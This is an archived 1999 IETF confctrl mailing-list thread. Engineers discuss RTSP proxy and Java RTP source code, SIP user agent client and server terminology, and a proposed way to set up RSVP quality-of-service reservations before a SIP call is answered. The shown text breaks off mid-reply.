Date: Mon, 22 Feb 1999 09:51:16 -0800 (PST)
From: Dean Collins <dean@halcyon.com>
Cc: confctrl@ISI.EDU
X-Mailer: ELM [version 2.4ME+ PL38 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The source code for a reference implementation is available here:

http://service.real.com/firewall/

Select "RTSP Proxy Kit" when you get there.


> Hi,
> 
> Is there any source code available for an RTSP proxy server ?
> 
> -Shantanu Paknikar
> 


-- 
Dean Collins
dean@halcyon.com

"I take it the odds are against us and the situation is grim?...
 Sounds like fun!"

From confctrl-owner  Mon Feb 22 09:53:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA06023
	for confctrl-outgoing; Mon, 22 Feb 1999 09:53:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA06018
	for <confctrl@zephyr.isi.edu>; Mon, 22 Feb 1999 09:53:23 -0800 (PST)
Received: from risc.ats.com ([204.192.124.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA16745
	for <confctrl@ISI.EDU>; Mon, 22 Feb 1999 09:53:21 -0800 (PST)
Received: from bala.ats.com by risc.ats.com (AIX 3.2/UCB 5.64/4.03)
          id AA18024; Mon, 22 Feb 1999 12:53:47 -0500
Message-Id: <3.0.32.19990222124755.00a1ea9c@pluto>
X-Sender: bala@pluto
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Mon, 22 Feb 1999 12:48:07 -0800
To: Shantanu Paknikar <shantanu@ee.iisc.ernet.in>
From: Balaguru Nallathambi <bala@ats.com>
Subject: Re: query
Cc: confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 05:20 PM 2/22/99 +0530, you wrote:
>Hi,
>
>Is there any source code available for an RTSP proxy server ?

	I was trying to find the same some time back.
	Not successful so far.
	Let me know if you find anything.

	I guess it is a bit tricky to build a RTSP proxy server, since
from my understanding, RTSP is stateful.
I was trying to build one myself and then gave up.

-)Bala.
>
>-Shantanu Paknikar
>
>
>

From confctrl-owner  Tue Feb 23 01:28:45 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA28239
	for confctrl-outgoing; Tue, 23 Feb 1999 01:28:45 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA28232
	for <confctrl@zephyr.isi.edu>; Tue, 23 Feb 1999 01:28:43 -0800 (PST)
Received: from hermes.research.kpn.com (hermes.research.kpn.com [139.63.192.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA25935
	for <confctrl@ISI.EDU>; Tue, 23 Feb 1999 01:28:41 -0800 (PST)
Received: from ntl11.research.kpn.com by research.kpn.com (PMDF V5.1-12 #D3519)
 with ESMTP id <01J82VWOU8FG0001IN@research.kpn.com> for confctrl@ISI.EDU; Tue,
 23 Feb 1999 10:28:37 +0200
Received: by ntl11.research.kpn.com with Internet Mail Service (5.5.2448.0)
 id <F3GBXZ5X>; Tue, 23 Feb 1999 10:28:37 +0100
Content-return: allowed
Date: Tue, 23 Feb 1999 10:28:36 +0100
From: "Muijnck, J.H. de" <J.H.deMuijnck@research.kpn.com>
Subject: Java RTP/RTCP implementation
To: confctrl@ISI.EDU
Message-id: <802140B1D018D2118EB000A02461E5B6BC3948@ntl11.research.kpn.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-type: text/plain; charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi, 

Is there any Java source code available for an RTP/RTCP stack? Or maybe a
monitor?
I know there are in C, but I'd rather have Java...

thanks!
bye for now,
jeroen de muijnck
KPN Research
The Netherlands.

From confctrl-owner  Tue Feb 23 04:53:32 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA05711
	for confctrl-outgoing; Tue, 23 Feb 1999 04:53:32 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA05706
	for <confctrl@zephyr.isi.edu>; Tue, 23 Feb 1999 04:53:30 -0800 (PST)
Received: from dux1.tcd.ie (dux1.tcd.ie [134.226.1.11])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA01658
	for <confctrl@ISI.EDU>; Tue, 23 Feb 1999 04:53:27 -0800 (PST)
Received: from alf2.tcd.ie (irelanda@alf2.tcd.ie [134.226.1.26])
	by dux1.tcd.ie (8.8.7/8.8.7) with SMTP id MAA23781;
	Tue, 23 Feb 1999 12:50:18 GMT
Date: Tue, 23 Feb 1999 12:50:18 +0000 (GMT)
From: Aishling <irelanda@tcd.ie>
To: Patrice Calhoun <Pat.Calhoun@Eng.Sun.COM>
cc: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        "'iptel@lists.research.bell-labs.com'" <iptel@lists.research.bell-labs.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
In-Reply-To: <199902111906.LAA28606@hsmpka.eng.sun.com>
Message-ID: <Pine.OSF.3.96.990223124818.32086A-100000@alf2.tcd.ie>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



> 
> My understanding is that a SIP Client issues an Invite message to a SIP Server,
> which in turn forwards the request to a target SIP Client (or some GW or some

Do clients not only issue requests, I didn't realise they could accept
requests???

> sort). Once the ACK has returned to the originating client, I was under the
> impression that both SIP Clients send RTP packets directly to each other,
> bypassing the SIP Server (this is where I am unclear).



From confctrl-owner  Tue Feb 23 06:07:42 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA08889
	for confctrl-outgoing; Tue, 23 Feb 1999 06:07:42 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA08883
	for <confctrl@zephyr.isi.edu>; Tue, 23 Feb 1999 06:07:40 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA04228
	for <confctrl@ISI.EDU>; Tue, 23 Feb 1999 06:07:39 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id JAA29718;
	Tue, 23 Feb 1999 09:07:36 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id JAA27872;
	Tue, 23 Feb 1999 09:07:34 -0500 (EST)
Message-ID: <36D2B626.DE1022AB@cs.columbia.edu>
Date: Tue, 23 Feb 1999 09:07:34 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Aishling <irelanda@tcd.ie>
CC: Patrice Calhoun <Pat.Calhoun@Eng.Sun.COM>,
        "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>,
        "'iptel@lists.research.bell-labs.com'" 
 <iptel@lists.research.bell-labs.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
References: <Pine.OSF.3.96.990223124818.32086A-100000@alf2.tcd.ie>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Aishling wrote:
> 
> >
> > My understanding is that a SIP Client issues an Invite message to a SIP Server,
> > which in turn forwards the request to a target SIP Client (or some GW or some
> 
> Do clients not only issue requests, I didn't realise they could accept
> requests???

Because it sounds strange to some to talk about clients accepting
requests, the SIP spec uses the terms UAC and UAS (user agent client and
server). However, this is obviously more awkward than just saying
"client". Just do the mental substitution...



-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Feb 23 09:17:25 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA17956
	for confctrl-outgoing; Tue, 23 Feb 1999 09:17:25 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17951
	for <confctrl@zephyr.isi.edu>; Tue, 23 Feb 1999 09:17:24 -0800 (PST)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA14949
	for <confctrl@ISI.EDU>; Tue, 23 Feb 1999 09:17:23 -0800 (PST)
Received: from omss5.mcit.com (omss5.mcit.com [166.37.210.27])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id RAA16684 for <confctrl@ISI.EDU>; Tue, 23 Feb 1999 17:16:33 GMT
Received: from dwillispc3 ([166.35.227.103]) by omss5.mcit.com
          (InterMail v03.02.05 118 120) with SMTP
          id <19990223171652.CKA10255@[166.35.227.103]>
          for <confctrl@ISI.EDU>; Tue, 23 Feb 1999 11:16:52 -0600
From: "Dean Willis" <Dean.Willis@MCI.COM>
To: <confctrl@ISI.EDU>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
Date: Tue, 23 Feb 1999 11:16:25 -0600
Message-ID: <000601be5f50$3e253200$67e323a6@dwillispc3.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
In-reply-to: <36D2B626.DE1022AB@cs.columbia.edu>
X-Mimeole: Produced By Microsoft MimeOLE V4.72.3155.0
Importance: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Henning said:
> Aishling wrote:
> >
> > >
> > > My understanding is that a SIP Client issues an Invite
> message to a SIP Server,
> > > which in turn forwards the request to a target SIP Client
> (or some GW or some
> >
> > Do clients not only issue requests, I didn't realise they
> could accept
> > requests???
>
> Because it sounds strange to some to talk about clients accepting
> requests, the SIP spec uses the terms UAC and UAS (user agent
> client and
> server). However, this is obviously more awkward than just saying
> "client". Just do the mental substitution...


Even more confusing to me is that UAC and UAS seem to be "roles" in a
particular call sequence based on who sent the INVITE and who received
it . . . maybe there is some meat to the megaco edgepoint argument.

In local discussions, it seems to me that "client" has come to mean an
end-or-edgepont (i.e., a phone appliance, PC soft phone, or gateway) and
"server" has come to mean an intermediary or midpoint device, such as a
redirect or proxy server, or a firewall proxy, or an application device
such as an IVR unit . . . . This is rather different from the spec, and
is most confusing.

>From page 8 and 9 of draft 12:

"Client: An application program that sends SIP requests. Clients may or
may not interact directly with a
human user. User agents and proxies contain clients (and servers)."

"Server: A server is an application program that accepts requests in
order to service requests and sends back
responses to those requests. Servers are either proxy, redirect or user
agent servers or registrars."

"User agent client (UAC), calling user agent: A user agent client is a
client application that initiates the
SIP request."

"User agent server (UAS), called user agent: A user agent server is a
server application that contacts the
user when a SIP request is received and that returns a response on
behalf of the user. The response
accepts, rejects or redirects the request."

So, in order to answer a call, a "client" (as commonly used) receives
and OKs an INVITE, therefore acting as a "user agent server" from a SIP
perspective.

It seems to me we need a phrase to refer to a SIP end-or-edgepoint that
does not conflict with the "client" and "server" role definitions.
Suggestions? I considered "user agent", but to many people that implies
something like a user location server capable of making intelligent call
routing decisions.

--
Dean




From confctrl-owner  Tue Feb 23 09:44:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA19844
	for confctrl-outgoing; Tue, 23 Feb 1999 09:44:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA19839
	for <confctrl@zephyr.isi.edu>; Tue, 23 Feb 1999 09:44:21 -0800 (PST)
Received: from aardvark.aciri.org ([192.150.187.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17341
	for <confctrl@ISI.EDU>; Tue, 23 Feb 1999 09:44:20 -0800 (PST)
Received: from aardvark.aciri.org (localhost [127.0.0.1])
	by aardvark.aciri.org (8.9.2/8.9.2) with ESMTP id JAA19231;
	Tue, 23 Feb 1999 09:44:22 -0800 (PST)
	(envelope-from mjh@aardvark.aciri.org)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: Dean Willis <Dean.Willis@MCI.COM>
cc: confctrl <confctrl@ISI.EDU>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt 
In-reply-to: Your message of "Tue, 23 Feb 1999 11:16:25 CST."
             <000601be5f50$3e253200$67e323a6@dwillispc3.mcit.com> 
Date: Tue, 23 Feb 1999 09:44:22 -0800
Message-ID: <19229.919791862@aardvark.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>It seems to me we need a phrase to refer to a SIP end-or-edgepoint that
>does not conflict with the "client" and "server" role definitions.
>Suggestions? I considered "user agent", but to many people that implies
>something like a user location server capable of making intelligent call
>routing decisions.

"SIP User Agent" is the term we intended for a SIP endpoint node.  If
it's a gateway into or from a non-SIP cloud, it's still a "SIP User
Agent" if it originates or terminates SIP calls. 

In the gateway context we do have to be careful to specify "SIP User
Agent" and not just "User Agent" though, because whatever it's
gatewaying into might have it's own concept of what user agent means.

Cheers,
	Mark







From confctrl-owner  Tue Feb 23 11:02:01 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA26577
	for confctrl-outgoing; Tue, 23 Feb 1999 11:02:01 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA26572
	for <confctrl@zephyr.isi.edu>; Tue, 23 Feb 1999 11:02:00 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA26147
	for <confctrl@ISI.EDU>; Tue, 23 Feb 1999 11:01:58 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA25947;
	Tue, 23 Feb 1999 14:01:57 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA05912;
	Tue, 23 Feb 1999 14:01:56 -0500 (EST)
Message-ID: <36D2FB24.5F91199E@cs.columbia.edu>
Date: Tue, 23 Feb 1999 14:01:56 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Dean Willis <Dean.Willis@MCI.COM>
CC: confctrl@ISI.EDU
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
References: <000601be5f50$3e253200$67e323a6@dwillispc3.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dean Willis wrote:
> 

> 
> It seems to me we need a phrase to refer to a SIP end-or-edgepoint that
> does not conflict with the "client" and "server" role definitions.
> Suggestions? I considered "user agent", but to many people that implies
> something like a user location server capable of making intelligent call
> routing decisions.

"User agent" is borrowed from HTTP, where it says

user agent
     The client which initiates a request. These are often browsers,
     editors, spiders (web-traversing robots), or other end user tools.

(HTTP doesn't have the problem of user agents being the recipient of
requests.)

"SIP End system" or "SIP CPE?" :-)

> 
> --
> Dean

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Feb 23 14:26:59 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA07810
	for confctrl-outgoing; Tue, 23 Feb 1999 14:26:59 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA07805
	for <confctrl@zephyr.isi.edu>; Tue, 23 Feb 1999 14:26:57 -0800 (PST)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA18712
	for <confctrl@ISI.EDU>; Tue, 23 Feb 1999 14:26:56 -0800 (PST)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id WAA18227 for <confctrl@ISI.EDU>; Tue, 23 Feb 1999 22:23:28 GMT
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2232.9)
	id <15QLLW0W>; Tue, 23 Feb 1999 22:26:23 -0000
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D857743E@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "'confctrl'" <confctrl@ISI.EDU>
Subject: Thoughts on SIP RSVP QOS Interworking
Date: Tue, 23 Feb 1999 22:26:18 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE5F7B.8B005124"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE5F7B.8B005124
Content-Type: text/plain

All,

The current thread on getting SDP information in a 1xx got me to thinking
again about the interworking of SIP and RSVP for QOS.  

The problem is that as SIP is currently constructed, the two RSVP flows
cannot be setup until after the session has been accepted by the called user
agent.  This is due to the fact that the SDP portion that contains the
necessary IP addresses does not get exchanged until the 200 OK is send by
the called user agent.

Thus we cannot offer a service that guarantees of a level of QOS if that QOS
needs to be setup prior to alerting of the called user.

There is overlap between this problem and the 180 to ACM mapping problem
that has recently been discussed on this mailing list in that in order to
solve both problems the called user agents SDP information needs sent prior
to the 200 OK.

The following is a proposed solution using the SIP defined Require header.
It is based on the calling user indicating the desire for a QOS call by
including the necessary header(s) in the INVITE message:

Calling UA -> Called UA  INVITE
                         ...
                         Required: org.ietf.qos
                         QOS-Signaling: RSVP
                         ...
                         SDP

Calling UA <- Called UA  18X Session Information
                         ...
                         SDP

Calling UA -> Called UA  RSVP PATH

Calling UA <- Called UA  RSVP PATH

Calling UA -> Called UA  RSVP RESV

Calling UA <- Called UA  RSVP RESV

Calling UA <- Called UA  180 Ringing

Calling UA <- Called UA  200 OK

Calling UA -> Called UA  ACK


If the called user agent did not understand the QOS mechanism then it would
respond with a 420 Bad Extension (per the SIP spec).  The calling user agent
would then have the ability to decide whether or not a best effort session
is sufficient.

Thoughts?

Steve Donovan
MCI Worldcom


------_=_NextPart_001_01BE5F7B.8B005124
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>Thoughts on SIP RSVP QOS Interworking</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">All,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">The current thread on getting SDP =
information in a 1xx got me to thinking again about the interworking of =
SIP and RSVP for QOS.&nbsp; </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">The problem is that as SIP is =
currently constructed, the two RSVP flows cannot be setup until after =
the session has been accepted by the called user agent.&nbsp; This is =
due to the fact that the SDP portion that contains the necessary IP =
addresses does not get exchanged until the 200 OK is send by the called =
user agent.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">Thus we cannot offer a service that =
guarantees of a level of QOS if that QOS needs to be setup prior to =
alerting of the called user.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">There is overlap between this =
problem and the 180 to ACM mapping problem that has recently been =
discussed on this mailing list in that in order to solve both problems =
the called user agents SDP information needs sent prior to the 200 =
OK.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">The following is a proposed =
solution using the SIP defined Require header.&nbsp; It is based on the =
calling user indicating the desire for a QOS call by including the =
necessary header(s) in the INVITE message:</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">Calling UA -&gt; Called UA&nbsp; =
INVITE</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Fixedsys">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp; ...</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Fixedsys">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp; Required: org.ietf.qos</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Fixedsys">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp; QOS-Signaling: RSVP</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Fixedsys">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp; ...</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Fixedsys">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp; SDP</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">Calling UA &lt;- Called UA&nbsp; =
18X Session Information</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Fixedsys">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp; ...</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Fixedsys">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp; SDP</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">Calling UA -&gt; Called UA&nbsp; =
RSVP PATH</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">Calling UA &lt;- Called UA&nbsp; =
RSVP PATH</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">Calling UA -&gt; Called UA&nbsp; =
RSVP RESV</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">Calling UA &lt;- Called UA&nbsp; =
RSVP RESV</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">Calling UA &lt;- Called UA&nbsp; =
180 Ringing</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">Calling UA &lt;- Called UA&nbsp; =
200 OK</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">Calling UA -&gt; Called UA&nbsp; =
ACK</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">If the called user agent did not =
understand the QOS mechanism then it would respond with a 420 Bad =
Extension (per the SIP spec).&nbsp; The calling user agent would then =
have the ability to decide whether or not a best effort session is =
sufficient.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">Thoughts?</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Fixedsys">Steve Donovan</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Fixedsys">MCI Worldcom</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BE5F7B.8B005124--

From confctrl-owner  Tue Feb 23 18:27:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA20453
	for confctrl-outgoing; Tue, 23 Feb 1999 18:27:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA20448
	for <confctrl@zephyr.isi.edu>; Tue, 23 Feb 1999 18:27:03 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA16256
	for <confctrl@ISI.EDU>; Tue, 23 Feb 1999 18:27:02 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id VAA06461;
	Tue, 23 Feb 1999 21:26:59 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id VAA15627;
	Tue, 23 Feb 1999 21:26:58 -0500 (EST)
Message-ID: <36D36372.CC36CDA0@cs.columbia.edu>
Date: Tue, 23 Feb 1999 21:26:58 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
CC: "'confctrl'" <confctrl@ISI.EDU>
Subject: Re: Thoughts on SIP RSVP QOS Interworking
References: <CA6966C24AC6D111B5A100805FEAB7D857743E@nsrip00208.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> "Donovan, Steven R. (MCI)" wrote:
> 
> All,
> 

> 
> The problem is that as SIP is currently constructed, the two RSVP
> flows cannot be setup until after the session has been accepted by the
> called user agent.  This is due to the fact that the SDP portion that
> contains the necessary IP addresses does not get exchanged until the
> 200 OK is send by the called user agent.
> 
> Thus we cannot offer a service that guarantees of a level of QOS if
> that QOS needs to be setup prior to alerting of the called user.
> 
> There is overlap between this problem and the 180 to ACM mapping
> problem that has recently been discussed on this mailing list in that
> in order to solve both problems the called user agents SDP information
> needs sent prior to the 200 OK.
> 

One potential problem is that this only works if the media selection is
either implied (as in Internet telephony, assuming that codecs are
acceptable) or automatic, rather than user-driven. There's no point
reserving resources for video if I then don't want to send and/or
receive video. If you do base the reservation on the 18x indication, you
may have to downgrade it after the call has been accepted. As a
sidenote, modifying reservations isn't necessarily supported by existing
RSVP implementations like altq.

Clearly, implementations would have to be careful depending on who pays
for the reservation. If holding a reservation costs money, I can ring
your phone and make you pay...

It is interesting to note that, depending on the circumstances, the
callee session description could appear in one or more of
- in 1xx for announcements and per-flow QOS
- in 2xx for "normal" calls
- in the ACK for some H.323 interworking

Also, unless the 18x (Session Information) is the first 1xx message, you
run into reliability problems, as a lost 18x would not be recovered,
unless people used something like the 1xx reliability mechanism that
Jonathan and I have been proposed.


> The following is a proposed solution using the SIP defined Require
> header.  It is based on the calling user indicating the desire for a
> QOS call by including the necessary header(s) in the INVITE message:
> 
> Calling UA -> Called UA  INVITE
>                          ...
>                          Required: org.ietf.qos
>                          QOS-Signaling: RSVP
>                          ...
>                          SDP
> 
> Calling UA <- Called UA  18X Session Information
>                          ...
>                          SDP
> 
> Calling UA -> Called UA  RSVP PATH
> 
> Calling UA <- Called UA  RSVP PATH
> 
> Calling UA -> Called UA  RSVP RESV
> 
> Calling UA <- Called UA  RSVP RESV
> 
> Calling UA <- Called UA  180 Ringing
> 
> Calling UA <- Called UA  200 OK
> 
> Calling UA -> Called UA  ACK
> 
> If the called user agent did not understand the QOS mechanism then it
> would respond with a 420 Bad Extension (per the SIP spec).  The
